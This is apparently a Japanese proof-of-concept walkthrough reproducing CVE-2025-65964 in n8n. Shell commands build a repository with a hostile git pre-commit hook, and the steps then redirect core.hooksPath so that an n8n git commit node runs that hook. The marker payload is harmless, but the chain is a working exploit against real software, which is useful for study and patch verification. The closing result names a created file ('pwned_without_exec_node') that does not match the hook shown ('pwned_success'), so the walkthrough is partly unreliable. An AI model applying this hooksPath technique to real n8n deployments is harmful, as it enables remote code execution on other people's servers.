
CVE-2025-65964再現
まず悪意のあるファイルを含むリポジトリを準備します
mkdir n8n-rce-poc && cd n8n-rce-poc
git init
git remote add origin <リポジトリURL>
mkdir evil_hooks
echo '#!/bin/sh' > evil_hooks/pre-commit
echo 'touch /tmp/pwned_success' >> evil_hooks/pre-commit
chmod +x evil_hooks/pre-commit
git add evil_hooks/pre-commit
git update-index --chmod=+x evil_hooks/pre-commit
git commit -m "Add malicious hook"
git branch -M main
git push -u origin main
次に、脆弱性対象バージョン内の n8n の Docker をローカルで起動します。この脆弱性の影響範囲は広く、0.123.1 ≤ n8n < 1.119.2 が影響を受けます。ここでは 1.64.3 を使用します
docker run -it --rm \
--name n8n \
-p 5678:5678 \
n8nio/n8n:1.64.3
まず、1.64.3 バージョンの完全な攻撃フローは以下の通りです
パラメータ設定は図の通り
このノードと次のノードは、git はファイルに変更があった場合のみ Commit を許可するため、先に適当なファイルを書き込む必要があることによるものです。
パラメータ設定は図の通り
ファイルをリポジトリに書き込みます
パラメータ設定は図の通り

commit には email と username が必要なため、適当に入力します
パラメータ設定は図の通り


核心ステップです。core.hooksPath をダウンロードした悪意のあるディレクトリに指定し、git が hook を実行する際に強制的に指定したディレクトリを参照するようにします(デフォルトは .git/hooks)
(LD_PRELOAD のハイジャックなどと同種の手法のように思われます)
パラメータ設定は図の通り

このステップで脆弱性をトリガーし、改ざんされた hook を実行させます
パラメータ設定は図の通り

これらのノードを設定した後、ワークフローを実行します
すると Docker 内を確認すると、悪意のあるファイル pwned_without_exec_node が作成されていることがわかります